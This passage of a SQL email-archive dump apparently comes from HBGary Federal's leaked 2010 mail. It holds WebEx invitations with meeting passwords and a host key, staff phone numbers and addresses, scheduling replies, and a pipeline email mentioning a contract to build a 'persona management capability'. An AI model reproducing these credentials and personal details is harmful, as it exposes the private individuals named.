Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',7173,'aaron_hbgary_com/7173.html'),(12596,'2010-10-04','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009306.M506961P14101Q7452.eml','\"Inc. HBGARY\" <All@hbgary.com>','INS.  PLEASE READ message from Jeff Bell','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is a note from Jeff Bell.&nbsp; Please contact him with\r\nany questions. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5472,'aaron_hbgary_com/5472.html'),(12597,'2010-10-04','messenger@webex.com','/aaron@hbgary.com/new/1297009306.M69281P14101Q7450.eml','aaron@hbgary.com','Meeting scheduled: HBGary Fed Discussions',' You are the host for this online meeting.   Host Key: 451317 (use this to reclaim host privileges)   To invite others to join, copy and paste everything below into your invitation.  -------------------------------------------------------  Meeting information  -------------------------------------------------------  Topic: HBGary Fed Discussions  Date: Monday, October 4, 2010  Time: 6:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 322 242  Meeting Password: ddna   -------------------------------------------------------  To start or join the online meeting  -------------------------------------------------------  Go to https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=488445912&PW=NNTM4M2I5NmFk&RT=MiMxMQ%3D%3D   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=156732357&tollFree=0   Access code:579 322 242   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=Rm8QpPhTWwlMTfk3AlcOHqReSgiXagetvzLgtKvMTmg=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. You should inform all meeting attendees prior to recording if you intend to record the meeting. Please note that any such recordings may be subject to discovery in the event of litigation.  ',7471,'aaron_hbgary_com/7471.html'),(12598,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009306.M780527P14101Q7453.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: INS.  PLEASE READ message from Jeff Bell','no attachment.On Oct 4, 2010, at 5:19 PM, DeeAnn Buonaccorsi wrote:Attached is a note from Jeff Bell.&nbsp; Please contact him with any questions.&nbsp;Thanks,&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',5882,'aaron_hbgary_com/5882.html'),(12599,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009307.M313129P14101Q7454.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>','Check out the securabit podcast 66','let me know what you think.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',14923,'aaron_hbgary_com/14923.html'),(12600,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009307.M546052P14101Q7455.eml','mark.peterson@farallon-research.com,nathan.atherley@farallon-research.com,mark.peterson@farallon-research.com,nathan.atherley@farallon-research.com,','Fwd: CID Risk Reduction Strategy Discussion','Hello Mark & Nathan,\r\n\r\nI received an email requesting a call to discuss CID Risk Reduction.\r\nThe email said once it was fully coordinated the specific date/time\r\nwould be sent.  I never received a meeting request with a specific\r\ndate/time for the call.  Sorry if we missed it.\r\n\r\nI was wondering if Mark and I could dial-in to the kick-off meeting on\r\nOctober 6th?  If not, then we would like to send Mark Trynor instead\r\nof me, as he is the Sr. Software Engineer who will be doing the\r\nintegration work. He will be the best to talk details and estimate\r\nlevels of effort, etc.\r\n\r\nIf we cannot dial-in (via webex or gotomeeting for example), then\r\nplease send me the address and date/time that Mark will need to be\r\nthere to attend in person.\r\n\r\nThanks!\r\nTed\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Penny Leavy-Hoglund \r\nDate: Mon, Oct 4, 2010 at 10:30 AM\r\nSubject: RE: CID Risk Reduction Strategy Discussion\r\nTo: Ted Vera \r\n\r\n\r\nIt did, no one was on it.  You need to communicate with Mark and Nathan\r\nabout calls.  I have asked them to include you.  As far as I know it\'s still\r\non\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, October 04, 2010 11:09 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: CID Risk Reduction Strategy Discussion\r\n\r\nHi Penny,\r\n\r\nThis call never took place.  Is the meeting still scheduled for 6\r\nOctober?  Is it possible for Mark & I to telecon in?  Money is tight\r\n(as always).  If not, I think it would be best for just Mark to\r\nattend, since he\'ll be doing the work and will be able to talk deeper\r\nin the weeds (and it will save on travel costs).\r\n\r\nI\'m expecting a $30K check any day from Agilex for the Pen Test we\r\ncompleted.  Invoice was approved and their AP dept said I will have it\r\nby Oct 10th.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Mark Peterson \r\nDate: Mon, Sep 27, 2010 at 5:23 PM\r\nSubject: CID Risk Reduction Strategy Discussion\r\nTo: Bob Graham , Penny Leavy-Hoglund\r\n, Nathan Atherley\r\n, John Hayes\r\n, greg@hbgary.com, ted@hbgary.com\r\n',5689,'aaron_hbgary_com/5689.html'),(12601,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009307.M937469P14101Q7456.eml','aaron@hbgary.com','Re: Meeting invitation: HBGary Fed Discussions','who is this with, just you and me?\r\n\r\nOn Mon, Oct 4, 2010 at 3:18 PM, Aaron Barr  wrote:\r\n>\r\n> Hello Ted Vera,\r\n>\r\n> Aaron Barr invites you to attend this online meeting.\r\n>\r\n> Topic: HBGary Fed Discussions\r\n> Date: Monday, October 4, 2010\r\n> Time: 4:00 pm, Mountain Daylight Time (Denver, GMT-06:00)\r\n> Meeting Number: 579 322 242\r\n> Meeting Password: ddna\r\n>\r\n>\r\n> -------------------------------------------------------\r\n> To join the online meeting (Now from the Apple iPhone (R) too!)\r\n> -------------------------------------------------------\r\n> 1. Go to\r\n> https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=1173861737&PW=NNTM4M2I5NmFk&RT=MiM2\r\n> 2. If requested, enter your name and email address.\r\n> 3. If a password is required, enter the meeting password: ddna\r\n> 4. Click \"Join\".\r\n>\r\n> To view in other time zones or languages, please click the link:\r\n> https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=1173861737&PW=NNTM4M2I5NmFk&ORT=MiM2\r\n>\r\n> -------------------------------------------------------\r\n> To join the audio conference only\r\n> -------------------------------------------------------\r\n> Call-in toll number (US/Canada): 1-408-792-6300\r\n> Global call-in numbers:\r\n> https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=156732357&tollFree=0\r\n>\r\n> Access code:579 322 242\r\n>\r\n> -------------------------------------------------------\r\n> For assistance\r\n> -------------------------------------------------------\r\n> 1. Go to https://hbgary.webex.com/hbgary/mc\r\n> 2. On the left navigation bar, click \"Support\".\r\n>\r\n> You can contact me at:\r\n> aaron@hbgary.com\r\n>\r\n>\r\n> To add this meeting to your calendar program (for example Microsoft\r\n> Outlook), click this link:\r\n> https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=1173861737&ICS=MI&LD=1&RD=2&ST=1&SHA2=qig8rSgQ6krD6XBH4cDJ8cOeVkbdyj/lz/n9N9RJtqQ=&RT=MiM2\r\n>\r\n> The playback of UCF (Universal Communications Format) rich media files\r\n> requires appropriate players. To view this type of rich media files in the\r\n> meeting, please check whether you have the players installed on your\r\n> computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php\r\n>\r\n> Sign up for a free trial of WebEx\r\n> http://www.webex.com/go/mcemfreetrial\r\n>\r\n> http://www.webex.com\r\n>\r\n>\r\n>\r\n> IMPORTANT NOTICE: This WebEx service includes a feature that allows audio\r\n> and any documents and other materials exchanged or viewed during the session\r\n> to be recorded. By joining this session, you automatically consent to such\r\n> recordings. If you do not consent to the recording, discuss your concerns\r\n> with the meeting host prior to the start of the recording or do not join the\r\n> session. Please note that any such recordings may be subject to discovery in\r\n> the event of litigation.\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16639,'aaron_hbgary_com/16639.html'),(12602,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009308.M174981P14101Q7457.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Meeting invitation: HBGary Fed Discussions','nope greg and penny.\r\n\r\nI am typing up some notes now.\r\n\r\nAaron\r\n\r\nOn Oct 4, 2010, at 5:28 PM, Ted Vera wrote:\r\n\r\n> who is this with, just you and me?\r\n> \r\n> On Mon, Oct 4, 2010 at 3:18 PM, Aaron Barr  wrote:\r\n>> \r\n>> Hello Ted Vera,\r\n>> \r\n>> Aaron Barr invites you to attend this online meeting.\r\n>> \r\n>> Topic: HBGary Fed Discussions\r\n>> Date: Monday, October 4, 2010\r\n>> Time: 4:00 pm, Mountain Daylight Time (Denver, GMT-06:00)\r\n>> Meeting Number: 579 322 242\r\n>> Meeting Password: ddna\r\n>> \r\n>> \r\n>> -------------------------------------------------------\r\n>> To join the online meeting (Now from the Apple iPhone (R) too!)\r\n>> -------------------------------------------------------\r\n>> 1. Go to\r\n>> https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=1173861737&PW=NNTM4M2I5NmFk&RT=MiM2\r\n>> 2. If requested, enter your name and email address.\r\n>> 3. If a password is required, enter the meeting password: ddna\r\n>> 4. Click \"Join\".\r\n>> \r\n>> To view in other time zones or languages, please click the link:\r\n>> https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=1173861737&PW=NNTM4M2I5NmFk&ORT=MiM2\r\n>> \r\n>> -------------------------------------------------------\r\n>> To join the audio conference only\r\n>> -------------------------------------------------------\r\n>> Call-in toll number (US/Canada): 1-408-792-6300\r\n>> Global call-in numbers:\r\n>> https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=156732357&tollFree=0\r\n>> \r\n>> Access code:579 322 242\r\n>> \r\n>> -------------------------------------------------------\r\n>> For assistance\r\n>> -------------------------------------------------------\r\n>> 1. Go to https://hbgary.webex.com/hbgary/mc\r\n>> 2. On the left navigation bar, click \"Support\".\r\n>> \r\n>> You can contact me at:\r\n>> aaron@hbgary.com\r\n>> \r\n>> \r\n>> To add this meeting to your calendar program (for example Microsoft\r\n>> Outlook), click this link:\r\n>> https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=1173861737&ICS=MI&LD=1&RD=2&ST=1&SHA2=qig8rSgQ6krD6XBH4cDJ8cOeVkbdyj/lz/n9N9RJtqQ=&RT=MiM2\r\n>> \r\n>> The playback of UCF (Universal Communications Format) rich media files\r\n>> requires appropriate players. To view this type of rich media files in the\r\n>> meeting, please check whether you have the players installed on your\r\n>> computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php\r\n>> \r\n>> Sign up for a free trial of WebEx\r\n>> http://www.webex.com/go/mcemfreetrial\r\n>> \r\n>> http://www.webex.com\r\n>> \r\n>> \r\n>> \r\n>> IMPORTANT NOTICE: This WebEx service includes a feature that allows audio\r\n>> and any documents and other materials exchanged or viewed during the session\r\n>> to be recorded. By joining this session, you automatically consent to such\r\n>> recordings. If you do not consent to the recording, discuss your concerns\r\n>> with the meeting host prior to the start of the recording or do not join the\r\n>> session. Please note that any such recordings may be subject to discovery in\r\n>> the event of litigation.\r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',12745,'aaron_hbgary_com/12745.html'),(12603,'2010-10-04','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009308.M415452P14101Q7458.eml','\"Inc. HBGARY\" <All@hbgary.com>','RE: INS.  PLEASE READ message from Jeff Bell','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry guys.&nbsp; Now it is attached.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Monday, October 04, 2010 2:19 PM\r\nTo: Inc. HBGARY (All@hbgary.com)\r\nSubject: INS. PLEASE READ message from Jeff Bell\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAttached is a note from Jeff Bell.&nbsp; Please contact him\r\nwith any questions. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4460,'aaron_hbgary_com/4460.html'),(12604,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009308.M628014P14101Q7459.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','HBGary Federal Pipeline','Some backup information for our call.\r\n\r\nSpoke with Bob Frisbie (Senior VP at Mantech for CNO) today.  He is going to give us a purchase order for $100K to develop a persona management capability.\r\nSpoke with Al Pisani (Senior VP runs their Intel business at TASC) today.  He is working to bring me on as a consultant to help them with their cyber strategy.\r\n\r\nShort Term contracts working on or working to close.\r\nSocial Media Training with Digital Globe.\r\nCyber Accelerator with Ray Owen.\r\n\r\nContracts won:\r\nCDC with Unisys. Working with prime to bring in products and services as soon as possible.\r\n\r\nContracts awaiting award:\r\nTSA - Teamed with DMI.  Not awarded until January.\r\nGatorBait - Teamed with Mantech.  Nearly 100% chance of win.  Not awarded until March.\r\nGreen Eggs - awarded within 2-3 weeks.  $40K - $50K.\r\nDARPA CINDER\r\n\r\nUpcoming Proposals:\r\nROMAS/COIN - PM today told me I need to stick it out until this is released.\r\nPegasus - Teamed with Mantech.\r\nVOG - only small company being added to a very short list of companies to get the RFP.\r\n\r\nThere are probably a few other smaller ones I am forgetting but this covers the big landscape.  On the offense side we are known quantities and are being sought to partner to go after this work.  ROMAS and GATORBAIT have very high PWINs.  VOG has a pretty high PWIN as well.  These all have strong social media aspects that we are recognized by customers and contractors as having some of the strongest capabilities in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',808,'aaron_hbgary_com/808.html'),(12605,'2010-10-04','messenger@webex.com','/aaron@hbgary.com/new/1297009308.M850023P14101Q7460.eml','aaron@hbgary.com','Meeting reminder: HBGary Fed Discussions',' You are scheduled to host this online meeting.   Topic: HBGary Fed Discussions  Date: Monday, October 4, 2010  Time: 6:00 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 322 242  Meeting Password: ddna  Host Key: 451317   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=156732357&UID=488445912&PW=NNTM4M2I5NmFk&RT=MiMxMQ%3D%3D  2. If you are not logged in, log in to your account.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=156732357&tollFree=0   Access code:579 322 242  To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. You should inform all meeting attendees prior to recording if you intend to record the meeting. Please note that any such recordings may be subject to discovery in the event of litigation. ',3748,'aaron_hbgary_com/3748.html'),(12606,'2010-10-04','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297009309.M51055P14101Q7461.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','ManTech Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, hope you are still on\r\nto meet me with Eric Eifert tomorrow at 10:30am in his office? See you then.\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1853,'aaron_hbgary_com/1853.html'),(12607,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009315.M721843P14101Q7463.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: ManTech Meeting','yep. &nbsp;See you there.AaronOn Oct 4, 2010, at 5:53 PM, William Luti wrote:Aaron, hope you are still on to meet me with Eric Eifert tomorrow at 10:30am in his office? See you then. Bill\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',6051,'aaron_hbgary_com/6051.html'),(12608,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009315.M86812P14101Q7462.eml','\"Aaron Zollman\" <azollman@palantir.com>','open source data','Aaron,\r\n\r\nAttached is a lot of OSINT related to soysauce.  Please do not distribute the files but feel free to pull what you need for the presentation.\r\n\r\n',15661,'aaron_hbgary_com/15661.html'),(12609,'2010-10-04','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','/aaron@hbgary.com/new/1297009315.M930136P14101Q7464.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','Re: Fwd: CID Risk Reduction Strategy Discussion','Ted\r\n\r\nNo problem about last week, we got our lines crossed and didn\'t get the \r\ninformation out quick enough.  As for the kick off meeting on Wed, we \r\nwill be having it in Los Gatos.  We don\'t really have an effective dial \r\nin.  The location is 20 South Santa Cruz Avenue, Los Gatos, CA 95032 \r\nSuite 101.  My phone number is 719-321-6135.\r\n\r\nnathan\r\n\r\n\r\n\r\nOn 10/4/2010 2:27 PM, Ted Vera wrote:\r\n> Hello Mark&  Nathan,\r\n>\r\n> I received an email requesting a call to discuss CID Risk Reduction.\r\n> The email said once it was fully coordinated the specific date/time\r\n> would be sent.  I never received a meeting request with a specific\r\n> date/time for the call.  Sorry if we missed it.\r\n>\r\n> I was wondering if Mark and I could dial-in to the kick-off meeting on\r\n> October 6th?  If not, then we would like to send Mark Trynor instead\r\n> of me, as he is the Sr. Software Engineer who will be doing the\r\n> integration work. He will be the best to talk details and estimate\r\n> levels of effort, etc.\r\n>\r\n> If we cannot dial-in (via webex or gotomeeting for example), then\r\n> please send me the address and date/time that Mark will need to be\r\n> there to attend in person.\r\n>\r\n> Thanks!\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Penny Leavy-Hoglund\r\n> Date: Mon, Oct 4, 2010 at 10:30 AM\r\n> Subject: RE: CID Risk Reduction Strategy Discussion\r\n> To: Ted Vera\r\n>\r\n>\r\n> It did, no one was on it.  You need to communicate with Mark and Nathan\r\n> about calls.  I have asked them to include you.  As far as I know it\'s still\r\n> on\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, October 04, 2010 11:09 AM\r\n> To: Penny Leavy\r\n> Subject: Fwd: CID Risk Reduction Strategy Discussion\r\n>\r\n> Hi Penny,\r\n>\r\n> This call never took place.  Is the meeting still scheduled for 6\r\n> October?  Is it possible for Mark&  I to telecon in?  Money is tight\r\n> (as always).  If not, I think it would be best for just Mark to\r\n> attend, since he\'ll be doing the work and will be able to talk deeper\r\n> in the weeds (and it will save on travel costs).\r\n>\r\n> I\'m expecting a $30K check any day from Agilex for the Pen Test we\r\n> completed.  Invoice was approved and their AP dept said I will have it\r\n> by Oct 10th.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Mark Peterson\r\n> Date: Mon, Sep 27, 2010 at 5:23 PM\r\n> Subject: CID Risk Reduction Strategy Discussion\r\n> To: Bob Graham, Penny Leavy-Hoglund\r\n> , Nathan Atherley\r\n> , John Hayes\r\n> , greg@hbgary.com, ted@hbgary.com\r\n>    \r\n',1364,'aaron_hbgary_com/1364.html'),(12610,'2010-10-04','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297009316.M147150P14101Q7465.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ManTech Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, October 04, 2010 5:55 PM\r\nTo: William Luti\r\nSubject: Re: ManTech Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyep. &nbsp;See you there.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 5:53 PM, William Luti wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nhope you are still on to meet me with Eric Eifert tomorrow at 10:30am in his\r\noffice? See you then. Bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14857,'aaron_hbgary_com/14857.html'),(12611,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009316.M441274P14101Q7466.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','GovCon6 and Threat Intelligence','Hey Eric,Wanted to let you know about a presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/. &nbsp;I think this has a lot of relevance for improving CERT/SOC capability. &nbsp;See you tomorrow.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478',8787,'aaron_hbgary_com/8787.html'),(12612,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009316.M628833P14101Q7467.eml','\"Bob Slapnik\" <bob@hbgary.com>','Deposit','Hi Bob,\r\n\r\nAny chance you can wire transfer the funding, instead of mailing it?\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2787,'aaron_hbgary_com/2787.html'),(12613,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009316.M928271P14101Q7468.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','HBGary Federal Pipeline','Hey Bob/Rich,\r\n\r\nThings I think are tight all around right now but we are working extremely hard to cover a short term gap to get us to some contract awards and I think we are getting there.\r\n\r\nBelow are some highlights from our business pipeline.\r\n\r\nSpoke with Bob Frisbie (Senior VP at Mantech for CNO) today.  He is going to give us a purchase order for $100K to develop a persona management capability.\r\nSpoke with Al Pisani (Senior VP runs their Intel business at TASC) today.  He is working to bring me on as a consultant to help them with their cyber strategy.\r\n\r\nShort Term contracts working on or working to close.\r\nSocial Media Training with Digital Globe.\r\nCyber Accelerator with Ray Owen.\r\n\r\nContracts won:\r\nCDC with Unisys. Working with prime to bring in products and services as soon as possible.\r\n\r\nContracts awaiting award:\r\nTSA - Teamed with DMI.  Not awarded until January.\r\nGatorBait - Teamed with Mantech.  Nearly 100% chance of win.  Not awarded until March.\r\nGreen Eggs - awarded within 2-3 weeks.  $40K - $50K.\r\nDARPA CINDER\r\n\r\nUpcoming Proposals:\r\nROMAS/COIN - PM today told me I need to stick it out until this is released.\r\nPegasus - Teamed with Mantech.\r\nVOG - only small company being added to a very short list of companies to get the RFP.\r\n\r\nOn the offense side we are known quantities and are being sought to partner to go after this work.  ROMAS and GATORBAIT have very high PWINs.  VOG has a pretty high PWIN as well.  These all have strong social media aspects that we are recognized by customers and contractors as having some of the strongest capabilities in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',3363,'aaron_hbgary_com/3363.html'),(12614,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009317.M147897P14101Q7469.eml','\"Chisholm, Chris (US SSA)\" <robert.chisholm@baesystems.com>,\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>,\"Chisholm, Chris (US SSA)\" <robert.chisholm@baesystems.com>','Ping','Hi Chris & Joe,\r\n\r\nI\'ve sent several emails, which appear to have bounced back, not sure\r\nif BAE was having email problems?  I also left you each some\r\nvoicemails.  Just wanted to touch base with your current effort (and\r\nany support we can provide -- re Joe\'s call a few weeks back) and also\r\nverify that Chris has everything for the Asteroid teaming.  I\'d\r\nappreciate a call or email when either of you have a chance.\r\n\r\nRegards,\r\nTed\r\n',12164,'aaron_hbgary_com/12164.html'),(12615,'2010-10-04','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009317.M348984P14101Q7470.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: open source data','Not a lot of open-source data here... the powerpoint is mostly the computed\r\nslides. In the docx there\'s an indication that I can recreate a Palantir\r\nslide with some google queries, but I\'m not sure what those google queries\r\nare. I\'ll take a deeper look at it later, but does it make immediate sense\r\nto you?\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, October 04, 2010 5:55 PM\r\nTo: Aaron Zollman\r\nSubject: open source data\r\n\r\nAaron,\r\n\r\nAttached is a lot of OSINT related to soysauce.  Please do not distribute\r\nthe files but feel free to pull what you need for the presentation.\r\n\r\n',13385,'aaron_hbgary_com/13385.html'),(12616,'2010-10-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009317.M549875P14101Q7471.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" 